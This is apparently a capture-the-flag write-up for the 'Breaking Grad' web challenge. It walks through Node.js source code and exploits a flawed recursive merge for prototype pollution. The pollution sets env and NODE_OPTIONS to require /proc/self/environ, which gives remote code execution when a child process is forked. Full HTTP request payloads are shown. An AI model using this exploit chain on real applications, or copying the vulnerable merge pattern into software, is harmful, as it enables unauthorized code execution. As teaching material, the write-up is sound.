Breaking Grad - Web
Application Overview
Visiting the application shows a static page titled “Welcome to the Grade Portal!”, listing two students, Kenny Baker and Jack Purvis, along with a “Did I pass?” button.

Clicking the button returns a randomized negative message.

That’s all the functionality the application exposes on the frontend, so we move on to reviewing the source code.
Source Code Review
routes/index.js defines two routes besides the index route:
router.get('/debug/:action', (req, res) => {
return DebugHelper.execute(res, req.params.action);
});
router.post('/api/calculate', (req, res) => {
let student = ObjectHelper.clone(req.body);
if (StudentHelper.isDumb(student.name) || !StudentHelper.hasBase(student.paper)) {
return res.send({
'pass': 'n' + randomize('?', 10, {chars: 'o0'}) + 'pe'
});
}
return res.send({
'pass': 'Passed'
});
});
/debug/:action
This route takes the action parameter straight from the URL and passes it to DebugHelper.execute:
// helpers/DebugHelper.js
const { execSync, fork } = require('child_process');
module.exports = {
execute(res, command) {
res.type('txt');
if (command == 'version') {
let proc = fork('VersionCheck.js', [], {
stdio: ['ignore', 'pipe', 'pipe', 'ipc']
});
proc.stderr.pipe(res);
proc.stdout.pipe(res);
return;
}
if (command == 'ram') {
return res.send(execSync('free -m').toString());
}
return res.send('invalid command');
}
}
If command equals version, the application forks VersionCheck.js as a child process and pipes its output back to the response. If it equals ram, it runs free -m and returns the output directly. Anything else returns invalid command.
VersionCheck.js just compares the nodeVersion field defined in package.json against the current process.version:
// VersionCheck.js
const package = require('./package.json');
const nodeVersion = process.version;
if (package.nodeVersion == nodeVersion) {
console.log(`Everything is OK (${package.nodeVersion} == ${nodeVersion})`);
} else {
console.log(`You are using a different version of nodejs (${package.nodeVersion} != ${nodeVersion})`);
}
/api/calculate
This route clones req.body into a student object using ObjectHelper.clone, then validates it against StudentHelper. If StudentHelper.isDumb(student.name) returns true, or StudentHelper.hasBase(student.paper) returns false, the app responds with the randomized negative message. Otherwise, it responds with Passed.
// helpers/StudentHelper.js
module.exports = {
isDumb(name){
return (name.includes('Baker') || name.includes('Purvis'));
},
hasBase(grade) {
return (grade >= 10);
}
};
isDumb returns true if the supplied name contains “Baker” or “Purvis”, which matches the two students already shown on the page. hasBase returns true if the grade is 10 or greater.
ObjectHelper
ObjectHelper.clone is what actually copies the request body into the student object, by recursively merging it on top of an empty object:
// helpers/ObjectHelper.js
module.exports = {
isObject(obj) {
return typeof obj === 'function' || typeof obj === 'object';
},
isValidKey(key) {
return key !== '__proto__';
},
merge(target, source) {
for (let key in source) {
if (this.isValidKey(key)){
if (this.isObject(target[key]) && this.isObject(source[key])) {
this.merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
return target;
},
clone(target) {
return this.merge({}, target);
}
}
The only key merge blocks is the literal __proto__. It doesn’t block constructor or prototype, which is what makes this recursive merge vulnerable to prototype pollution.
Prototype Pollution
JavaScript is prototype-based, and nearly every object is an instance of Object, inheriting properties (including methods) from Object.prototype.

Since isValidKey only filters out __proto__ directly and merge walks recursively through every nested key of a user-controlled object, an attacker can reach Object.prototype indirectly through constructor.prototype. Any property set that way becomes part of every object in the application from then on, since every object ultimately inherits from Object.prototype.
To confirm this, we try polluting a status property on the prototype and force Express to throw and render an error with our injected status code, by sending a malformed JSON body:
POST /api/calculate HTTP/1.1
Host: bara.local:1337
Content-Type: application/json
{
"name": "bara",
"paper": 10,
"constructor": {
"prototype": {
"status": 555
}
}
}

The response comes back as HTTP/1.1 555 unknown, confirming the pollution worked and that we can influence application-wide behavior through it.
Exploitation
Since we’re able to pollute Object.prototype, we can also set an env property on it. Any child process the application forks inherits its environment from process.env, and on Linux, /proc/self/environ exposes all environment variables of the current process. Combined with the NODE_OPTIONS environment variable, we can make Node.js require /proc/self/environ as if it were a JavaScript file the next time a child process is spawned, executing whatever we’ve stored as an environment variable as code.
We send a request that pollutes env with a variable containing a command injection payload, and set NODE_OPTIONS to --require /proc/self/environ:
POST /api/calculate HTTP/1.1
Host: bara.local:1337
Content-Type: application/json
{
"name": "bara",
"paper": 10,
"constructor": {
"prototype": {
"env": {
"AAAA": "1;throw require('child_process').execSync('id').toString()//",
"NODE_OPTIONS": "--require /proc/self/environ"
}
}
}
}
With the polluted environment in place, we hit /debug/version, which forks VersionCheck.js as a child process. Since NODE_OPTIONS is now set, Node.js requires /proc/self/environ before running the script, which triggers our injected command:
GET /debug/version HTTP/1.1
Host: bara.local:1337

The response includes the output of id, confirming remote code execution through prototype pollution.
written by bara